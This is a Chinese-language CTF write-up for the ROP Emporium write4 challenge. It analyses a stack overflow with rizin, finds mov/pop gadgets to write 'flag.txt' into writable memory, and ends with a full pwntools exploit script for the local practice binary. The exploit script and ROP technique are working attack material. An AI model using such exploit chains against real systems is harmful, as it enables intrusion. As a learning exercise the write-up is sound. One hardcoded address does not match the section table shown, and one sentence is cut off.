Pwn 运用汇编 Gadgets 写入数据到内存
以 ROP Emporium write4 为例
之前做的题都是找函数, 然后构造 ROP 链. 这两天刷 ROP Emporium, 居然用汇编 Gadgets 向内存中写入数据! 还是思维定势了啊. 记录一下, 加深印象.
以 x86 32 位为例.
iI
查看信息, 没开 PIE, 没开 canary. aaa;afl
, 发现 usefulFunction
, s sym.usefulFunction; pdg
:
void sym.usefulFunction(void)
{
sym.imp.print_file("nonexistent");
return;
}
调用了 print_file
. 看一下 main, s main;pdg
:
undefined4 main(void)
{
sym.imp.pwnme();
return 0;
}
调用了 pwnme
.
pwnme
和 print_file
是从 so 中引用来的, 用 rizin 打开 so, 看一下 pwnme
, s sym.pwnme;pdg
:
void sym.pwnme(void)
{
int32_t unaff_EBX;
void *buf;
int32_t var_4h;
entry0();
sym.imp.setvbuf(**(undefined4 **)(unaff_EBX + 0x194f), 0, 2, 0);
sym.imp.puts(unaff_EBX + 0x14f);
sym.imp.puts(unaff_EBX + 0x166);
sym.imp.memset(&buf, 0, 0x20);
sym.imp.puts(unaff_EBX + 0x16b);
sym.imp.printf(unaff_EBX + 0x194);
sym.imp.read(0, &buf, 0x200);
sym.imp.puts(unaff_EBX + 0x197);
return;
}
注意到有 read
, pdf
查看 buf
离 ebp
的距离:
...
; var void *buf @ ebp-0x28
...
显然存在栈溢出漏洞. s sym.print_file;pdg
查看 print_file
:
void sym.print_file(char *filename)
{
int32_t unaff_EBX;
char **ppcVar1;
char *pcStack76;
char *pcStack72;
undefined4 uStack64;
undefined auStack60 [11];
char *s;
FILE *stream;
int32_t var_4h;
ppcVar1 = (char **)auStack60;
uStack64 = 0x75b;
entry0();
stream = (FILE *)0x0;
pcStack72 = (char *)(unaff_EBX + 0xf0);
pcStack76 = filename;
stream = (FILE *)sym.imp.fopen();
if (stream == (FILE *)0x0) {
pcStack72 = filename;
pcStack76 = (char *)(unaff_EBX + 0xf2);
ppcVar1 = &pcStack76;
sym.imp.printf();
pcStack76 = "ELF\x01\x01\x01";
sym.imp.exit();
}
*(FILE **)((int32_t)ppcVar1 + -8) = stream;
*(undefined4 *)((int32_t)ppcVar1 + -0xc) = 0x21;
*(char ***)((int32_t)ppcVar1 + -0x10) = &s;
*(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x7b6;
sym.imp.fgets();
*(char ***)((int32_t)ppcVar1 + -0x10) = &s;
*(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x7c5;
sym.imp.puts();
*(FILE **)((int32_t)ppcVar1 + -0x10) = stream;
*(undefined4 *)((int32_t)ppcVar1 + -0x14) = 0x7d3;
sym.imp.fclose();
return;
}
或者查看汇编代码, 也能够看懂, 就是 fgets(s, 0x21, stream)
, 然后 puts(s)
. 最后 fclose(stream)
.
可以掉 usefulFunction
测试一下, 建一个名为 nonexistent
的文件. 写入不超过 0x21 个字符的东西, 然后返回到 usefulFunction
测试.
那么一个思路就是找 “flag.txt” 字符串, 调用 print_file("flag.txt")
. iz
查看字符串, 可惜没有. 接下来的思路就是构造了.
但是! 这个题很难受的一个点在于, 有漏洞的函数在共享库里, 输入函数 read 也在共享库里, 没有办法直接调用到 plt. (可能有种方法是泄漏某个库函数的地址然后算偏移, 还没学到).
这里就要想过一个办法输入了. 没有输入的函数, 不过可以构造栈上的数据. 那么把栈当成一种输入, 比如把 “flag.txt” 放到栈上, 然后 pop 到某个寄存器. 又知道, 调用函数时, 传入的字符串参数起始是一个地址, 那么我们还需要把 “flag.txt” 存在内存的某处. 这可以用 mov [reg1] reg2 来实现. reg1 是地址, reg2 是字符串的值. 这样就把字符串存在了 reg1 所指向的位置.
来找一下这些 gadgets. "/R/ mov;ret"
, 0x08048543 处找到 mov dword [edi], ebp;ret
. 这正好可以使用. 那么再找有没有 pop edi; ret
, pop ebp; ret
或者 pop edi; pop ebp; ret
或者 pop ebp; pop edi; ret
. "/R/ pop;ret"
, 0x080485aa 处找到 pop edi; pop ebp; ret
. 完美.
由于 flag.txt
一共 8 个字节, 加上 \0
是 9 个. 查看一下 .data 或者 .bss 有没有对应的大小可共写入. iS
:
paddr size vaddr vsize align perm name type flags
-----------------------------------------------------------------------------------------
...
0x00001018 0x8 0x0804a018 0x8 0x0 -rw- .data PROGBITS write,alloc
0x00001020 0x0 0x0804a020 0x4 0x0 -rw- .bss NOBITS write,alloc
...
可以看到, .data 有 8 个字节, .bss 有 4 个字节. 并且他们是连在一起的. 所以可供写的地方一共是 12 个字节, 足够了. 并且我们知道, .bss 的内容最开始是空的, 程序也没有向 .bss 写入, 所以第 9 个 \0
不用写. 32 位栈的宽度是 4 个字节, 所以 8 个字节的 “flag.txt” 要分两次写入.
\0
, 而不会管这是否跨越了不同节. 拿这个题试过了, 应该没什么问题.那么栈就可以这样构造:
exp:
from pwn import *
data_buf = 0x0804a01d
str_flag = b'flag'
str_txt = b'.txt'
pop_edi_pop_ebp_ret = 0x080485aa
mov_edi_ebp_ret = 0x08048543
plt_print_file = 0x080483d0
pop_ret = 0x080485ab
payload = b'a' * (0x28 + 0x04)
payload += p32(pop_edi_pop_ebp_ret) + p32(data_buf) + str_flag
payload += p32(mov_edi_ebp_ret)
payload += p32(pop_edi_pop_ebp_ret) + p32(data_buf + 0x04) + str_txt
payload += p32(mov_edi_ebp_ret)
payload += p32(plt_print_file) + p32(pop_ret) + p32(data_buf)
p = process('./write432')
p.sendline(payload)
p.interactive()